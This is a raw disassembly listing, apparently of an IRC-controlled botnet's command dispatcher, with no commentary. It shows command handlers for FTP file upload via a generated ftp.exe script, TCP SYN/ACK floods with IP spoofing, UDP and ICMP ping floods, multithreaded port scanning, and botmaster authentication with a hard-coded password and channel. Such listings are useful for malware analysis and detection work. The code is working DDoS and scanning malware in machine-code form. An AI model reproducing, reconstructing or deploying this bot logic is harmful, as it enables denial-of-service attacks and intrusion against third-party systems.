loc_40C47E:				; CODE XREF: sub_4078FA+2B08j
					; sub_4078FA+2B2Cj ...
		cmp	[ebp+var_C], 0
		jnz	short loc_40C4A1
		push	0


loc_40C486:				; CODE XREF: sub_4078FA+4FD0j
					; sub_4078FA+5113j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_40C499:				; CODE XREF: sub_4078FA+2611j
					; sub_4078FA+2733j ...
		call	sub_4045DD
		add	esp, 14h


loc_40C4A1:				; CODE XREF: sub_4078FA+11E6j
					; sub_4078FA+25FBj ...
		xor	esi, esi
		inc	esi
		jmp	loc_409018
; ---------------------------------------------------------------------------


loc_40C4A9:				; CODE XREF: sub_4078FA+D4Fj
					; sub_4078FA+D63j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_408D7C
		call	sub_41105B


loc_40C4C6:				; CODE XREF: sub_4078FA+4497j
		push	0
		call	ds:dword_41F02C


loc_40C4CE:				; CODE XREF: sub_4078FA+156Aj
		push	8
		mov	edi, eax
		mov	esi, offset aHttpcon ; "httpcon"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C685
		push	5
		mov	edi, eax
		mov	esi, offset aHcon ; "hcon"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C685
		cmp	[ebp+ebx+var_90], edx
		jz	loc_407B7B
		mov	edi, eax
		push	7
		mov	esi, offset aUpload ; "upload"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40CFE2
		mov	edi, [ebp+ebx+var_90]
		push	4
		push	edi
		call	sub_40241F
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40C546
		push	edi
		push	offset aFtpFileNotFoun ; "[FTP]: File not found: %s."


loc_40C532:				; CODE XREF: sub_4078FA+38A4j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40ABC7
; ---------------------------------------------------------------------------


loc_40C546:				; CODE XREF: sub_4078FA+4C30j
		call	ds:dword_41F004
		push	eax
		call	sub_412D64
		pop	ecx
		call	sub_412D71
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_412D71
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_412D71
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_15E8]
		push	edx
		push	eax
		lea	eax, [ebp+var_1344]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_1344]
		push	offset aAb	; "ab"
		push	eax
		call	sub_413393
		add	esp, 20h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_407B7B
		mov	esi, [ebp+ebx+var_A0]
		push	edi
		push	[ebp+var_14]
		push	[ebp+ebx+var_98]
		push	[ebp+ebx+var_9C]
		push	esi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41414F
		push	[ebp+arg_0]
		call	sub_412F93
		lea	eax, [ebp+var_1344]
		push	eax
		lea	eax, [ebp+var_B70]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_412BB5
		add	esp, 2Ch
		xor	eax, eax
		push	eax
		push	eax
		lea	ecx, [ebp+var_B70]
		push	ecx
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	eax
		call	dword_4335A8
		test	eax, eax
		push	esi
		push	edi
		jz	short loc_40C621
		push	offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to:	%s"
		jmp	short loc_40C626
; ---------------------------------------------------------------------------


loc_40C621:				; CODE XREF: sub_4078FA+4D1Ej
		push	offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to:	%s failed"...


loc_40C626:				; CODE XREF: sub_4078FA+4D25j
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40C651
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40C651:				; CODE XREF: sub_4078FA+4D38j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		jmp	short loc_40C66B
; ---------------------------------------------------------------------------


loc_40C65F:				; CODE XREF: sub_4078FA+4D84j
		lea	eax, [ebp+var_1344]
		push	eax
		call	sub_414125


loc_40C66B:				; CODE XREF: sub_4078FA+4D63j
		lea	eax, [ebp+var_1344]
		push	4
		push	eax
		call	sub_40241F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C65F
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40C685:				; CODE XREF: sub_4078FA+4BE2j
					; sub_4078FA+4BF6j
		push	[ebp+ebx+var_90]
		push	[ebp+var_14]
		push	[ebp+ebx+var_98]
		push	[ebp+ebx+var_9C]
		call	sub_412F42
		pop	ecx
		push	eax
		push	[ebp+ebx+var_A0]
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4038B7
		jmp	loc_40CFDF
; ---------------------------------------------------------------------------


loc_40C6C4:				; CODE XREF: sub_4078FA+1542j
					; sub_4078FA+1556j
		push	[ebp+ebx+var_A0]
		lea	eax, [ebp+var_998]
		push	80h
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		push	4
		lea	edi, [ebp+var_998]
		mov	esi, offset aSyn_0 ; "syn"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40C725
		push	4
		lea	edi, [ebp+var_998]
		mov	esi, offset aAck ; "ack"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40C725
		push	7
		lea	edi, [ebp+var_998]
		mov	esi, offset aRandom_0 ;	"random"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40C725
		push	offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
		jmp	loc_40B61E
; ---------------------------------------------------------------------------


loc_40C725:				; CODE XREF: sub_4078FA+4DF7j
					; sub_4078FA+4E0Bj ...
		push	[ebp+var_14]
		call	sub_412F42
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_888], eax
		jle	loc_40C8AD
		mov	eax, [ebp+ebx+var_A0]
		push	eax
		mov	[ebp+var_8], eax
		mov	esi, 80h
		lea	eax, [ebp+var_998]
		push	esi
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+ebx+var_9C]
		push	eax
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_A18]
		push	esi
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+ebx+var_98]
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_412F42
		mov	[ebp+var_894], eax
		mov	eax, [ebp+ebx+var_90]
		add	esp, 1Ch
		cmp	eax, edi
		jz	short loc_40C7A6
		push	eax
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_890], eax
		jmp	short loc_40C7AC
; ---------------------------------------------------------------------------


loc_40C7A6:				; CODE XREF: sub_4078FA+4E9Bj
		mov	[ebp+var_890], edi


loc_40C7AC:				; CODE XREF: sub_4078FA+4EAAj
		mov	ebx, [ebp+ebx+var_8C]
		cmp	ebx, edi
		jz	short loc_40C7C6
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_88C], eax
		jmp	short loc_40C7CC
; ---------------------------------------------------------------------------


loc_40C7C6:				; CODE XREF: sub_4078FA+4EBBj
		mov	[ebp+var_88C], edi


loc_40C7CC:				; CODE XREF: sub_4078FA+4ECAj
		push	[ebp+var_9C]
		xor	eax, eax
		cmp	[ebp+var_43A], al
		push	esi
		setnz	al
		mov	[ebp+var_884], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_A1C], eax
		lea	eax, [ebp+var_918]
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+var_4]
		mov	[ebp+var_880], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		cmp	[ebp+var_884], edi
		mov	[ebp+var_87C], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40C820
		mov	eax, offset aNormal ; "Normal"


loc_40C820:				; CODE XREF: sub_4078FA+4F1Fj
		push	[ebp+var_14]
		push	[ebp+arg_0]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	eax
		push	offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s	s"...
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D
		push	edi
		lea	eax, [ebp+var_2E0]
		push	0Dh
		push	eax
		call	sub_410EEA
		add	esp, 2Ch
		mov	[ebp+var_898], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_A1C]
		push	eax
		push	offset sub_41046C
		push	edi
		push	edi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_898]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C8A3
		call	ds:dword_41F008
		push	eax
		push	offset aTcpFailedToSta ; "[TCP]: Failed	to start flood thread, er"...
		jmp	loc_40B73B
; ---------------------------------------------------------------------------


loc_40C89B:				; CODE XREF: sub_4078FA+4FAFj
		push	32h
		call	ds:dword_41F000


loc_40C8A3:				; CODE XREF: sub_4078FA+4F8Ej
		cmp	[ebp+var_878], edi
		jz	short loc_40C89B
		jmp	short loc_40C8C0
; ---------------------------------------------------------------------------


loc_40C8AD:				; CODE XREF: sub_4078FA+4E3Ej
		push	offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...


loc_40C8B2:				; CODE XREF: sub_4078FA+53D4j
					; sub_4078FA+5490j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5


loc_40C8BE:				; CODE XREF: sub_4078FA+3D32j
		pop	ecx
		pop	ecx


loc_40C8C0:				; CODE XREF: sub_4078FA+3E50j
					; sub_4078FA+3E65j ...
		cmp	[ebp+var_C], edi
		jnz	loc_40C4A1
		push	edi
		jmp	loc_40C486
; ---------------------------------------------------------------------------


loc_40C8CF:				; CODE XREF: sub_4078FA+1506j
					; sub_4078FA+151Aj ...
		cmp	dword_433620, 0
		jnz	loc_40C9E8
		mov	eax, [ebp+var_C]
		mov	[ebp+var_758], eax
		mov	eax, [ebp+var_4]
		push	7Fh
		push	[ebp+ebx+var_A0]
		mov	[ebp+var_75C], eax
		lea	eax, [ebp+var_7F0]
		push	eax
		call	sub_412C40
		push	[ebp+ebx+var_9C]
		call	sub_412F42
		push	[ebp+ebx+var_98]
		mov	[ebp+var_770], eax
		call	sub_412F42
		push	[ebp+var_14]
		mov	[ebp+var_76C], eax
		call	sub_412F42
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_768], eax
		lea	eax, [ebp+var_870]
		push	eax
		call	sub_412C40
		push	[ebp+var_768]
		mov	eax, [ebp+arg_4]
		push	[ebp+var_76C]
		mov	[ebp+var_874], eax
		lea	eax, [ebp+var_7F0]
		push	eax
		push	[ebp+var_770]
		lea	eax, [ebp+var_2E0]
		push	offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	0Fh
		push	eax
		call	sub_410EEA
		add	esp, 48h
		mov	[ebp+var_760], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_874]
		push	eax
		push	offset sub_406CD9
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_760]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C9DE
		call	ds:dword_41F008
		push	eax
		push	offset aPingFailedToSt ; "[PING]: Failed to start flood	thread,	e"...
		jmp	loc_40CF6C
; ---------------------------------------------------------------------------


loc_40C9D6:				; CODE XREF: sub_4078FA+50EAj
		push	32h
		call	ds:dword_41F000


loc_40C9DE:				; CODE XREF: sub_4078FA+50C9j
		cmp	[ebp+var_754], esi
		jz	short loc_40C9D6
		jmp	short loc_40CA03
; ---------------------------------------------------------------------------


loc_40C9E8:				; CODE XREF: sub_4078FA+4FDCj
		push	1FFh
		lea	eax, [ebp+var_2E0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_412C40
		add	esp, 0Ch
		xor	esi, esi


loc_40CA03:				; CODE XREF: sub_4078FA+3D0Ej
					; sub_4078FA+50ECj ...
		cmp	[ebp+var_C], esi
		jnz	loc_40C4A1
		push	esi
		jmp	loc_40C486
; ---------------------------------------------------------------------------


loc_40CA12:				; CODE XREF: sub_4078FA+14CAj
					; sub_4078FA+14DEj ...
		mov	eax, [ebp+var_C]
		mov	edi, [ebp+var_4]
		push	7Fh
		push	[ebp+ebx+var_A0]
		mov	[ebp+var_758], eax
		lea	eax, [ebp+var_7F0]
		push	eax
		mov	[ebp+var_75C], edi
		call	sub_412C40
		push	[ebp+ebx+var_9C]
		call	sub_412F42
		push	[ebp+ebx+var_98]
		mov	[ebp+var_770], eax
		call	sub_412F42
		push	[ebp+var_14]
		mov	[ebp+var_76C], eax
		call	sub_412F42
		mov	ebx, [ebp+ebx+var_90]
		xor	esi, esi
		add	esp, 18h
		cmp	ebx, esi
		mov	[ebp+var_768], eax
		jz	short loc_40CA8A
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_764], eax
		jmp	short loc_40CA90
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_4078FA+517Fj
		mov	[ebp+var_764], esi


loc_40CA90:				; CODE XREF: sub_4078FA+518Ej
		push	7Fh
		push	[ebp+var_9C]
		lea	eax, [ebp+var_870]
		push	eax
		call	sub_412C40
		push	[ebp+var_768]
		mov	ebx, [ebp+arg_4]
		push	[ebp+var_76C]
		lea	eax, [ebp+var_7F0]
		push	eax
		push	[ebp+var_770]
		lea	eax, [ebp+var_2E0]
		push	offset aUdpSendingDPac ; "[UDP]: Sending %d packets to:	%s. Packe"...
		push	eax
		mov	[ebp+var_874], ebx
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	10h
		push	eax
		call	sub_410EEA
		add	esp, 30h
		mov	[ebp+var_760], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_874]
		push	eax
		push	offset sub_406E62
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_760]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40CB5F
		call	ds:dword_41F008
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aUdpFailedToSta ; "[UDP]: Failed	to start flood thread, er"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40CB39:				; CODE XREF: sub_4078FA+526Dj
		cmp	[ebp+var_C], esi
		jnz	loc_40C4A1
		push	esi
		push	edi


loc_40CB44:				; CODE XREF: sub_4078FA+2AD4j
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	ebx
		jmp	loc_40C499
; ---------------------------------------------------------------------------


loc_40CB57:				; CODE XREF: sub_4078FA+526Bj
		push	32h
		call	ds:dword_41F000


loc_40CB5F:				; CODE XREF: sub_4078FA+5222j
		cmp	[ebp+var_754], esi
		jz	short loc_40CB57
		jmp	short loc_40CB39
; ---------------------------------------------------------------------------


loc_40CB69:				; CODE XREF: sub_4078FA+14A2j
					; sub_4078FA+14B6j
		push	9
		call	sub_4110DA
		mov	esi, [ebp+ebx+var_9C]
		push	esi
		mov	edi, eax
		call	sub_412F42
		add	eax, edi
		cmp	eax, 258h
		pop	ecx
		pop	ecx
		jle	short loc_40CBBB
		push	edi
		lea	eax, [ebp+var_2E0]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		jmp	loc_40AB80
; ---------------------------------------------------------------------------


loc_40CBBB:				; CODE XREF: sub_4078FA+528Ej
		push	[ebp+ebx+var_A0]
		call	sub_412F42
		push	esi
		mov	[ebp+var_4E4], eax
		call	sub_412F42
		push	[ebp+ebx+var_98]
		mov	[ebp+var_4CC], eax
		call	sub_412F42
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_4E0], eax
		jnb	short loc_40CBFC
		push	5
		pop	eax
		mov	[ebp+var_4E0], eax


loc_40CBFC:				; CODE XREF: sub_4078FA+52F7j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40CC09
		mov	[ebp+var_4E0], ecx


loc_40CC09:				; CODE XREF: sub_4078FA+5307j
		push	[ebp+var_14]
		call	sub_412F42
		mov	[ebp+var_4DC], eax
		mov	eax, 320h
		cmp	[ebp+var_4DC], eax
		pop	ecx
		jbe	short loc_40CC2B
		mov	[ebp+var_4DC], eax


loc_40CC2B:				; CODE XREF: sub_4078FA+5329j
		push	[ebp+arg_4]
		or	[ebp+var_4C8], 0FFFFFFFFh
		call	sub_406C33
		pop	ecx
		lea	edx, [ebp+var_66C]


loc_40CC41:				; CODE XREF: sub_4078FA+534Fj
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_40CC41
		xor	edi, edi
		cmp	dword_42A068, edi
		mov	[ebp+var_5EC], edi
		mov	[ebp+var_10], edi
		jz	short loc_40CCC1
		mov	ecx, offset dword_42A068


loc_40CC63:				; CODE XREF: sub_4078FA+53A7j
		mov	edi, [ebp+ebx+var_A0]
		lea	esi, [ecx-28h]


loc_40CC6D:				; CODE XREF: sub_4078FA+538Fj
		mov	dl, [esi]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_40CC8F
		test	al, al
		jz	short loc_40CC8B
		mov	dl, [esi+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_40CC8F
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_40CC6D


loc_40CC8B:				; CODE XREF: sub_4078FA+537Dj
		xor	eax, eax
		jmp	short loc_40CC94
; ---------------------------------------------------------------------------


loc_40CC8F:				; CODE XREF: sub_4078FA+5379j
					; sub_4078FA+5387j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40CC94:				; CODE XREF: sub_4078FA+5393j
		test	eax, eax
		jz	short loc_40CCA5
		inc	[ebp+var_10]
		add	ecx, 3Ch
		cmp	dword ptr [ecx], 0
		jnz	short loc_40CC63
		jmp	short loc_40CCBF
; ---------------------------------------------------------------------------


loc_40CCA5:				; CODE XREF: sub_4078FA+539Cj
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_42A068[ecx]
		mov	[ebp+var_4E4], ecx
		mov	[ebp+var_4C8], eax


loc_40CCBF:				; CODE XREF: sub_4078FA+53A9j
		xor	edi, edi


loc_40CCC1:				; CODE XREF: sub_4078FA+5362j
		cmp	[ebp+var_4E4], edi
		jnz	short loc_40CCD3
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan,	port is	i"...
		jmp	loc_40C8B2
; ---------------------------------------------------------------------------


loc_40CCD3:				; CODE XREF: sub_4078FA+53CDj
		mov	esi, [ebp+ebx+var_90]
		cmp	esi, edi
		mov	[ebp+var_AC], esi
		jz	short loc_40CD14
		cmp	byte ptr [esi],	23h
		jz	short loc_40CD14
		push	esi
		lea	eax, [ebp+var_67C]
		push	10h
		push	eax
		call	sub_412E0D
		push	78h
		push	esi
		call	sub_413F30
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4B8], eax
		jmp	loc_40CE4A
; ---------------------------------------------------------------------------


loc_40CD14:				; CODE XREF: sub_4078FA+53E8j
					; sub_4078FA+53EDj
		cmp	[ebp+var_432], 0
		jz	short loc_40CD3E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	offset dword_42AF44
		push	eax
		call	sub_412C40
		mov	eax, dword_42AF54
		add	esp, 0Ch
		mov	[ebp+var_5EC], eax


loc_40CD3E:				; CODE XREF: sub_4078FA+5421j
		cmp	[ebp+var_43B], 0
		jz	short loc_40CD6A
		push	edi
		push	9
		push	offset aStoppingPrevio ; "Stopping previous scans"
		push	offset aScan_0	; "[SCAN]"
		push	1
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_411120
		add	esp, 20h


loc_40CD6A:				; CODE XREF: sub_4078FA+544Bj
		cmp	[ebp+var_44B], 0
		jnz	short loc_40CD8F
		cmp	[ebp+var_44A], 0
		jnz	short loc_40CD8F
		cmp	[ebp+var_43A], 0
		jnz	short loc_40CD8F
		push	offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan,	no IP spe"...
		jmp	loc_40C8B2
; ---------------------------------------------------------------------------


loc_40CD8F:				; CODE XREF: sub_4078FA+5477j
					; sub_4078FA+5480j ...
		push	10h
		pop	esi
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_A8], esi
		call	dword_433418
		mov	al, [ebp+var_44B]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_C4], eax
		push	[ebp+var_C4]
		call	dword_433520
		push	eax
		lea	eax, [ebp+var_67C]
		push	eax
		call	sub_412C40
		add	esp, 0Ch
		cmp	[ebp+var_43A], 0
		jz	short loc_40CE44
		xor	eax, eax
		cmp	[ebp+var_44B], al
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_67C]
		push	eax
		call	sub_412C10
		and	byte ptr [ebp+arg_0+3],	0
		cmp	esi, edi
		pop	ecx
		pop	ecx
		jle	short loc_40CE38


loc_40CE16:				; CODE XREF: sub_4078FA+553Cj
		cmp	eax, edi
		jz	short loc_40CE38
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_67C]
		push	30h
		push	eax
		call	sub_412C10
		inc	byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_0+3]
		cmp	ecx, esi
		jl	short loc_40CE16


loc_40CE38:				; CODE XREF: sub_4078FA+551Aj
					; sub_4078FA+551Ej
		mov	[ebp+var_4B8], 1
		jmp	short loc_40CE4A
; ---------------------------------------------------------------------------


loc_40CE44:				; CODE XREF: sub_4078FA+54F3j
		mov	[ebp+var_4B8], edi


loc_40CE4A:				; CODE XREF: sub_4078FA+5415j
					; sub_4078FA+5548j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	[ebp+var_4E8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4C0], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4BC], eax
		mov	esi, 80h
		lea	eax, [ebp+var_5E8]
		push	esi
		push	eax
		call	sub_412E0D
		mov	ebx, [ebp+ebx+var_8C]
		add	esp, 0Ch
		cmp	ebx, edi
		jz	short loc_40CE9E
		push	ebx


loc_40CE8C:				; CODE XREF: sub_4078FA+55B4j
		push	esi


loc_40CE8D:				; CODE XREF: sub_4078FA+55D1j
		lea	eax, [ebp+var_568]
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40CED4
; ---------------------------------------------------------------------------


loc_40CE9E:				; CODE XREF: sub_4078FA+558Fj
		mov	eax, [ebp+var_AC]
		cmp	eax, edi
		jz	short loc_40CEB0
		cmp	byte ptr [eax],	23h
		jnz	short loc_40CEB0
		push	eax
		jmp	short loc_40CE8C
; ---------------------------------------------------------------------------


loc_40CEB0:				; CODE XREF: sub_4078FA+55ACj
					; sub_4078FA+55B1j
		xor	ecx, ecx
		mov	eax, offset aMurders ; "#murders"
		inc	ecx
		mov	edi, 41FA76h
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jz	short loc_40CECD
		push	eax
		push	80h
		jmp	short loc_40CE8D
; ---------------------------------------------------------------------------


loc_40CECD:				; CODE XREF: sub_4078FA+55C9j
		and	[ebp+var_568], 0


loc_40CED4:				; CODE XREF: sub_4078FA+55A2j
		xor	esi, esi
		cmp	[ebp+var_4B8], esi
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40CEE8
		mov	eax, offset aSequential	; "Sequential"


loc_40CEE8:				; CODE XREF: sub_4078FA+55E7j
		push	[ebp+var_4CC]
		lea	ecx, [ebp+var_67C]
		push	[ebp+var_4DC]
		push	[ebp+var_4E0]
		push	[ebp+var_4E4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	9
		push	eax
		call	sub_410EEA
		add	esp, 2Ch
		mov	[ebp+var_4D8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_67C]
		push	eax
		push	offset sub_4018D1
		push	esi
		push	esi
		call	ds:dword_41F00C
		mov	ecx, [ebp+var_4D8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40CF88
		call	ds:dword_41F008
		push	eax
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...


loc_40CF6C:				; CODE XREF: sub_4078FA+50D7j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40CA03
; ---------------------------------------------------------------------------


loc_40CF80:				; CODE XREF: sub_4078FA+5694j
		push	32h
		call	ds:dword_41F000


loc_40CF88:				; CODE XREF: sub_4078FA+5664j
		cmp	[ebp+var_4B4], esi
		jz	short loc_40CF80
		jmp	loc_40CA03
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_4078FA+D27j
					; sub_4078FA+D3Bj
		push	[ebp+ebx+var_A0]
		xor	eax, eax
		cmp	[ebp+var_43C], al
		setnz	al
		push	eax
		push	dword_42AE64
		lea	eax, [ebp+var_3AC]
		push	eax
		call	sub_40E7B0
		lea	eax, [ebp+var_3AC]
		push	eax
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		lea	eax, [ebp+var_3AC]
		push	eax
		push	offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
		call	sub_401CA7


loc_40CFDF:				; CODE XREF: sub_4078FA+4DC5j
		add	esp, 24h


loc_40CFE2:				; CODE XREF: sub_4078FA+73Bj
					; sub_4078FA+747j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_407B7E
; ---------------------------------------------------------------------------


loc_40CFEA:				; CODE XREF: sub_4078FA+7C8j
					; sub_4078FA+7DCj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		mov	[ebp+var_8], ebx
		jz	loc_407B7B
		cmp	[ebp+var_20], 0
		jnz	loc_407B7B
		push	offset asc_4264C0 ; "!"
		push	[ebp+var_A4]
		call	sub_413859
		mov	esi, eax
		push	offset dword_424824
		push	0
		inc	esi
		call	sub_413859
		push	offset asc_424820 ; "~"
		push	eax
		call	sub_413859
		mov	edi, [ebp+var_8]
		mov	ebx, eax
		add	esp, 18h
		mov	eax, offset aN3m3s1s ; "n3m3s1s"


loc_40D03D:				; CODE XREF: sub_4078FA+575Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_40D05F
		test	cl, cl
		jz	short loc_40D05B
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_40D05F
		inc	eax
		inc	eax
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_40D03D


loc_40D05B:				; CODE XREF: sub_4078FA+574Dj
		xor	eax, eax
		jmp	short loc_40D064
; ---------------------------------------------------------------------------


loc_40D05F:				; CODE XREF: sub_4078FA+5749j
					; sub_4078FA+5757j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40D064:				; CODE XREF: sub_4078FA+5763j
		test	eax, eax
		jz	short loc_40D0B3
		push	ebx
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_404592
		push	ebx
		push	esi
		push	offset aMainFailedPass ; "[MAIN]: *Failed pass auth by:	(%s!%s)."


loc_40D09F:				; CODE XREF: sub_4078FA+580Cj
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 30h
		jmp	loc_40C4A1
; ---------------------------------------------------------------------------


loc_40D0B3:				; CODE XREF: sub_4078FA+576Cj
		xor	edi, edi


loc_40D0B5:				; CODE XREF: sub_4078FA+57D3j
		push	ebx
		push	off_42AF3C[edi]
		call	sub_4115E8
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40D108
		add	edi, 4
		cmp	edi, 4
		jb	short loc_40D0B5
		push	ebx
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
